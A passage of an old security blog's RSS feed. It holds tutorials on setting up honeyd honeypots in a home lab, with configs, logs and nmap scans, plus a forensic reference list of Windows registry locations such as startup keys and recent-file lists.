honeyd[2697]: [eth1] trying DHCP<br />
honeyd[2697]: [eth1] trying DHCP<br />
honeyd[2697]: Demoting process privileges to uid 65534, gid 65534<br />
honeyd[2697]: [eth1] got DHCP offer: 192.168.99.159<br />
honeyd[2697]: Updating ARP binding: 00:00:24:c5:59:29 -&amp;gt; 192.168.99.159<br />
honeyd[2697]: [eth1] got DHCP offer: 192.168.99.160<br />
honeyd[2697]: Updating ARP binding: 00:00:24:02:ac:73 -&amp;gt; 192.168.99.160<br />
honeyd[2697]: [eth1] got DHCP offer: 192.168.99.161<br />
honeyd[2697]: Updating ARP binding: 00:00:24:68:0c:45 -&amp;gt; 192.168.99.161<br />
honeyd[2697]: arp reply 192.168.99.159 is-at 00:00:24:c5:59:29<br />
honeyd[2697]: arp reply 192.168.99.160 is-at 00:00:24:02:ac:73<br />
honeyd[2697]: arp reply 192.168.99.161 is-at 00:00:24:68:0c:45<br />
honeyd[2697]: Sending ICMP Echo Reply: 192.168.99.159 -&amp;gt; 192.168.99.254<br />
honeyd[2697]: arp_send: who-has 192.168.99.254 tell 192.168.99.159<br />
honeyd[2697]: Sending ICMP Echo Reply: 192.168.99.160 -&amp;gt; 192.168.99.254<br />
honeyd[2697]: Sending ICMP Echo Reply: 192.168.99.161 -&amp;gt; 192.168.99.254<br />
honeyd[2697]: arp_recv_cb: 192.168.99.254 at 00:50:56:ec:10:84</div></div>
<p>If everything has gone smooth up to this point you&#8217;ve gotten output similar to above. So currently we&#8217;ve got three honeypots running on one installation of honeyd. Now the proof is in the pudding by port scanning these devices and see if the ports are open and what OS nmap claims it to be. DHCP gave our Avaya device an IP address of 192.168.99.160, let&#8217;s port scan for the two open ports and a port we know to be closed and see what results we get.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">travis@tht:~/documents$ nmap -p 4445,5038,5555 192.168.99.160<br />
<br />
Starting Nmap 5.00 ( http://nmap.org ) at 2011-06-15 01:25 EDT<br />
Interesting ports on 192.168.99.160:<br />
PORT     STATE  SERVICE<br />
4445/tcp open   unknown<br />
5038/tcp open   unknown<br />
5555/tcp closed freeciv<br />
<br />
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds</div></div>
<p>Looks like everything is on the up and up with our Avaya device. Port 5555 is closed because we did not define it in honeyd.conf. I&#8217;ll spare you with the nmap scan of the Solaris device but everything was operating as normal for it as well. So the ports are open but how well is this personality thing working? Nmap can try and determine the OS of a device through a number of TCP exchanges. Honeyd tries to use the nmap fingerprint database to send the appropriate TCP responses to a nmap scan so that the personality you&#8217;ve assigned to your template will respond as it should. This doesn&#8217;t always work properly. New versions of nmap are constantly coming out which means the nmap fingerprint database is changing as well. So nmap may respond properly or it may not, this will just depend on the version of nmap you or an attacker is scanning with. It will also depend on the nmap.prints that honeyd uses as well. You can perform an OS detection in nmap by providing it the -O option, let&#8217;s try scanning our Solaris device and see what it returns.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_188.png"><img class="aligncenter size-full wp-image-376" title="Selection_188" src="http://travisaltman.com/wp-content/Selection_188.png" alt="" width="442" height="307" /></a></p>
<p>Seeing how this might happen you don&#8217;t want to totally rely on the personality in honeyd. The best idea is to open up ports that are common to a particular device. For instance most Linux and Solaris devices have port 22 open while routers and switches will probably have port 161 open (SNMP). The configuration is totally up to you but trying to make your honeypot as sweet as possible is the main goal.</p>
<p>So adding multiple honeypots to your honeyd install is fairly straightforward but there are some things to consider when setting it up. Other topics such as email alerts are coming but for now make sure you can get multiple honeypots running via honyed.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/CUNKKWoNea8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/honeypot-honeyd-tutorial-part-2-multiple-honeypots/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		<feedburner:origLink>http://travisaltman.com/honeypot-honeyd-tutorial-part-2-multiple-honeypots/</feedburner:origLink></item>
		<item>
		<title>Honeypot / honeyd tutorial part 1, getting started</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/T-FwZXAC3Ko/</link>
		<comments>http://travisaltman.com/honeypot-honeyd-tutorial-part-1-getting-started/#comments</comments>
		<pubDate>Fri, 06 May 2011 17:27:06 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[honeypot]]></category>
		<category><![CDATA[network security]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=353</guid>
		<description><![CDATA[If you&#8217;ve somehow found my obscure site then you probably already know a little bit about honeypots and their functionality, if not here is a good breakdown. There are many different types of honeypots and these different types are explained very well in the book Virtual Honeypots which I highly recommend you read if you [...]]]></description>
			<content:encoded><![CDATA[<p>If you&#8217;ve somehow found my obscure site then you probably already know a little bit about honeypots and their functionality, if not <a href="http://www.honeypots.net/">here is a good breakdown</a>. There are many different types of honeypots and these different types are explained very well in the book <a href="http://www.amazon.com/Virtual-Honeypots-Tracking-Intrusion-Detection/dp/0321336321" target="_blank">Virtual Honeypots</a> which I highly recommend you read if you are serious about deploying a honeypot. This series of articles will focus on honeypots using an application called <a href="http://www.honeyd.org/" target="_blank">honeyd</a>. There are a number of honeypot solutions out there but I personally feel like honeyd is a great fit because it can be relatively simple or you can start tweaking it to get a more full featured product. You may think of honeypots as internet facing and it&#8217;s true that they can be configured that way but during this series of tutorials I will only be using honeyd on an internal network. Internet facing honeypots are mainly used to research and find new malware, internal honeypots are mainly used as alerting systems that would alert you when other devices / users are connecting to your honeypots. You can also use honeyd when investigating malware which I&#8217;ll discuss in a later tutorial.</p>
<p>For this tutorial I will be using one Windows machine and one Linux machine, <a href="http://www.backtrack-linux.org/" target="_blank">Backtrack </a>distribution to be exact. Backtrack will be the machine that is running honeyd. Honeyd is available for Windows but I highly recommend that you use honeyd on Linux. If you&#8217;re half way interested in information security then I suggest that you get to know Linux as there are a lot of information security tools such as honeyd that use Linux. Sorry for the Linux rant, below is basic diagram of my setup.</p>
<p><a href="http://travisaltman.com/wp-content/Selection_171.png"><img class="aligncenter size-full wp-image-358" title="Selection_171" src="http://travisaltman.com/wp-content/Selection_171.png" alt="" width="557" height="431" /></a></p>
<p>The idea here is that we&#8217;ll install and configure honeyd on Backtrack then simply test that we have connectivity with our Windows machine. To see if you have honeyd installed on Backtrack (or any Linux system) simply type &#8220;honey + TAB&#8221;, if &#8220;d&#8221; is shown right after honey then you know you have honeyd installed as it is an available command if you don&#8217;t have honeyd installed on Backtrack run the following command</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">sudo apt-get install honeyd</div></div>
<p>This will also work for any Debian based Linux system. To install on other distributions such as Gentoo, Fedora, Slackware, etc I would check their documentation on how to install packages. After honeyd is installed the next thing we&#8217;ll need to do is create a configuration file. A honeyd configuration file is the heart of your honeypot. The configuration file tells honeyd what operating system to emulate, what ports to open, what services should be ran, etc. This config file can be tweaked to emulate all sorts setups but for right now let&#8217;s look at a simple setup and get that up and running. Below is my config file.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">create default<br />
set default default tcp action block<br />
set default default udp action block<br />
set default default icmp action block<br />
<br />
create windows<br />
set windows personality &quot;Microsoft Windows XP Professional SP1&quot;<br />
set windows default tcp action reset<br />
add windows tcp port 135 open<br />
add windows tcp port 139 open<br />
add windows tcp port 445 open<br />
<br />
set windows ethernet &quot;00:00:24:ab:8c:12&quot;<br />
dhcp windows on eth0</div></div>
<p>Within Backtrack you can use Kate or nano text editors to create this file. In Backtrack Kate is under the Utilities menu. The &#8220;create default&#8221; section simply tells honeyd to drop traffic unless it is defined later in the configuration file. I find this section is needed when you let your honeypot acquire an IP address via dhcp. Also it&#8217;s probably a good idea to implement this section so that you only answer to network connections that you define later in the config file. Anytime you see &#8220;create&#8221; within the config file you are creating a template for a honeypot, so you can create as many honeypots as you&#8217;d like within the honed.conf config. In the windows template we are defining a number of things. First we are setting the personality, meaning when another device on the network connects to this honeypot it will appear to be a Windows XP Pro SP1 device. This is emulated via network stack fingerprints. In the windows template I&#8217;m also opening up three ports (135, 139, and 445). These are common ports that are open on a windows system. The &#8220;action reset&#8221; statement will drop traffic if it is not aimed at the open ports defined in this config. The &#8220;set windows ethernet&#8221; sets a MAC address for our honeypot.  This will be needed if you run your honeypot via dhcp. You can simply make up any MAC address you&#8217;d like, I usually keep it close to the physical MAC address that I&#8217;m running the honeypot off of. Finally the dhcp statement tells the windows template to acquire an IP address from dhcp. Now that we have our honeyd.conf file properly setup it&#8217;s time to launch honeyd, below is the command I use when initially getting honeyd up and running.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd  -d  -f  honeyd.conf</div></div>
<p>Here we use the -d so that it doesn&#8217;t run in the background (or doesn&#8217;t run as a daemon in Linux terms). This allow for more verbose output so that we can troubleshoot as needed. Running in this mode will also show the IP that was given to our honeypot via dhcp. Below is the type of output you should see after running the honeyd command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos<br />
honeyd[1870]: started with -d -f honeyd.conf<br />
Warning: Impossible SI range in Class fingerprint &quot;IBM OS/400 V4R2M0&quot;<br />
Warning: Impossible SI range in Class fingerprint &quot;Microsoft Windows NT 4.0 SP3&quot;<br />
honeyd[1870]: listening promiscuously on eth0: (arp or ip proto 47 or (udp and src ...<br />
honeyd[1870]: [eth0] trying DHCP<br />
honeyd[1870]: Demoting process privileges to uid 65534, gid 65534<br />
honeyd[1870]: [eth0] got DHCP offer: 192.168.99.135<br />
honeyd[1870]: Updating ARP binding: 00:00:24:c8:e3:34 -&amp;gt; 192.168.99.135</div></div>
<p>In this verbose output we see that dhcp gave our honeypot the address of 192.168.99.135. From our windows machine let&#8217;s ping that IP address and make sure that we have connectivity. You should see output on the terminal similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd[1870]: arp reply 192.168.99.135 is-at 00:00:24:c8:e3:34<br />
honeyd[1870]: Sending ICMP Echo Reply: 192.168.99.135 -&amp;gt; 192.168.99.128<br />
honeyd[1870]: arp_send: who-has 192.168.99.128 tell 192.168.99.135<br />
honeyd[1870]: arp_recv_cb: 192.168.99.128 at 00:0c:29:7e:60:d0<br />
honeyd[1870]: Sending ICMP Echo Reply: 192.168.99.135 -&amp;gt; 192.168.99.128<br />
honeyd[1870]: Sending ICMP Echo Reply: 192.168.99.135 -&amp;gt; 192.168.99.128<br />
honeyd[1870]: Sending ICMP Echo Reply: 192.168.99.135 -&amp;gt; 192.168.99.128</div></div>
<p>So congrats you&#8217;ve successfully deployed honeyd. We can now ping our honeypot but we need to make sure the ports we&#8217;ve configured to be open are open. Let&#8217;s us the cadillac of port scanners <a href="http://nmap.org/" target="_blank">nmap</a> to detect open ports on our honeypot. You can scan for all 65,535 ports on our honeypot but to keep the verbose output of honeyd low let&#8217;s just scan for a handful of ports. Below is the nmap command I used.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">nmap -p 135,139,445,1337 192.168.99.135</div></div>
<p>The output of this command should look similar to below.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Starting Nmap 5.00 ( http://nmap.org ) at 2011-05-06 13:13 EDT<br />
Interesting ports on someone (172.20.73.77):<br />
PORT     STATE  SERVICE<br />
135/tcp  open   msrpc<br />
139/tcp  open   netbios-ssn<br />
445/tcp  open   microsoft-ds<br />
1337/tcp closed waste<br />
MAC Address: 00:00:24:26:C4:ED (Connect AS)<br />
<br />
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds</div></div>
<p>So honeyd appears to be working correctly. If you&#8217;ve reached this point then you are on your way to doing even more with honeypots and honeyd. The main purpose of this article was to get you up and running. In the next series of articles we&#8217;ll configure more honeypots, set static IP&#8217;s, get alerts on devices port scanning our honeypots, investigate malware, etc. If you have any questions, catch errors, or have any feedback please comment below.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/T-FwZXAC3Ko" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/honeypot-honeyd-tutorial-part-1-getting-started/feed/</wfw:commentRss>
		<slash:comments>44</slash:comments>
		<feedburner:origLink>http://travisaltman.com/honeypot-honeyd-tutorial-part-1-getting-started/</feedburner:origLink></item>
		<item>
		<title>Location of forensic evidence in the registry</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/c7n_9UMnYAE/</link>
		<comments>http://travisaltman.com/location-of-forensic-evidence-in-the-registry/#comments</comments>
		<pubDate>Wed, 30 Mar 2011 03:24:35 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[forensics]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=336</guid>
		<description><![CDATA[I got tired of always searching online for the location of something in the windows registry, especially when it came to forensic analysis. Hopefully this compilation will help others to find things of interest inside the windows registry. My plan is to update this article as I find more interesting locations within the windows registry.
=====================================================================
Last [...]]]></description>
			<content:encoded><![CDATA[<p>I got tired of always searching online for the location of something in the windows registry, especially when it came to forensic analysis. Hopefully this compilation will help others to find things of interest inside the windows registry. My plan is to update this article as I find more interesting locations within the windows registry.</p>
<p>=====================================================================</p>
<p>Last logged on user</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon<br />
<br />
DefaultUserName</div></div>
<p>Searches within the windows OS</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Search Assistant\ACMru<br />
<br />
5001: Contains list of terms used for the internet search assistant<br />
<br />
5603: Contains the list of terms used for the Windows XP files and folders search<br />
<br />
5604: Contains list of terms used in the “word or phrase in a file” search<br />
<br />
5647: Contains list of terms used in the “for computers or people” search</div></div>
<p>Applications launched from the &#8220;Start &gt; Run&#8221; menu</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</div></div>
<p>Recent documents</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs</div></div>
<p>Installed applications that reside in &#8220;Control Panel &gt; Add/Remove programs&#8221;</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</div></div>
<p>Mounted devices</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM \SYSTEM\MountedDevices</div></div>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\</div></div>
<p>USB devices that have been attached</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR</div></div>
<p>Applications that are ran during startup</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\Run<br />
<br />
HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\RunOnce<br />
<br />
HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\RunOnceEx<br />
<br />
HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\RunServices<br />
<br />
HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\RunServicesOnce<br />
<br />
HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute</div></div>
<p>List of windows services</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SYSTEM\CurrentControlSet\Services\</div></div>
<p>Recent network settings, where GUID refers to the network interface</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\GUID</div></div>
<p>Wireless network information</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SOFTWARE\Microsoft\WZCSVC\Parameters\Interfaces\GUID</div></div>
<p>Mapped network drives</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU</div></div>
<p>Typed URL&#8217;s into the browser</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Internet Explorer\TypedURLs</div></div>
<p>Last time the computer was shut down (64bit value representing time)</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\SYSTEM\CurrentControlSet\Control\Windows</div></div>
<p>Determine if last access times is enabled (0) or disabled (1)</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\System\CurrentControlSet\Control\FileSystem\<br />
<br />
NtfsDisableLastAccessUpdate</div></div>
<p>Computer name</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\System\CurrentControlSet\Control\ComputerName</div></div>
<p>Determine if autoplay is disabled / enabled, link with more info below</p>
<p>http://support.microsoft.com/kb/967715</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun</div></div>
<p>List of files open or saved via windows explorer</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU</div></div>
<p>List of drives mapped via the map network drive wizard</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU</div></div>
<p>Devices or IP&#8217;s connected to</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Explorer\ComputerDescriptions</div></div>
<p>Mounted drives</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2</div></div>
<p>List of files played in Windows Media Player</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\MediaPlayer\Player\RecentFileList<br />
<br />
HKU\UID\Software\Microsoft\MediaPlayer\Player\RecentURLList</div></div>
<p>List of recently accessed WinZip files</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Nico Mak Computing\WinZip\filemenu</div></div>
<p>List of Microsoft Office files that have been accessed</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKU\UID\Software\Microsoft\Office\&quot;version&quot;\&quot;product&quot;\File Name MRU</div></div>
<p>Browser helper objects (BHO&#8217;s), can be associated with malware but it&#8217;s been a while since I&#8217;ve seen this.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\</div></div>
<p>Entries in this location are automatically started when explorer.exe is ran</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler\</div></div>
<p>Can point to logon scripts</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Policies\Microsoft\Windows\System\Scripts\</div></div>
<p>DLL&#8217;s in this location are loaded when a GUI app is launched</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs</div></div>
<p>Programs to be run when user logs in</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit</div></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 2224px; width: 1px; height: 1px; overflow: hidden;"><!-- tt { font-family: courier; }td { font-family: helvetica,sans-serif; }caption { font-family: helvetica,sans-serif; font-size: 14pt; text-align: left; } --></p>
<table cellspacing="0" cellpadding="3">
<tbody>
<tr>
<td style="font-size: 10pt;" colspan="7" align="left" valign="bottom">HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit</td>
</tr>
</tbody>
</table>
</div>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/c7n_9UMnYAE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/location-of-forensic-evidence-in-the-registry/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://travisaltman.com/location-of-forensic-evidence-in-the-registry/</feedburner:origLink></item>
	</channel>
</rss>

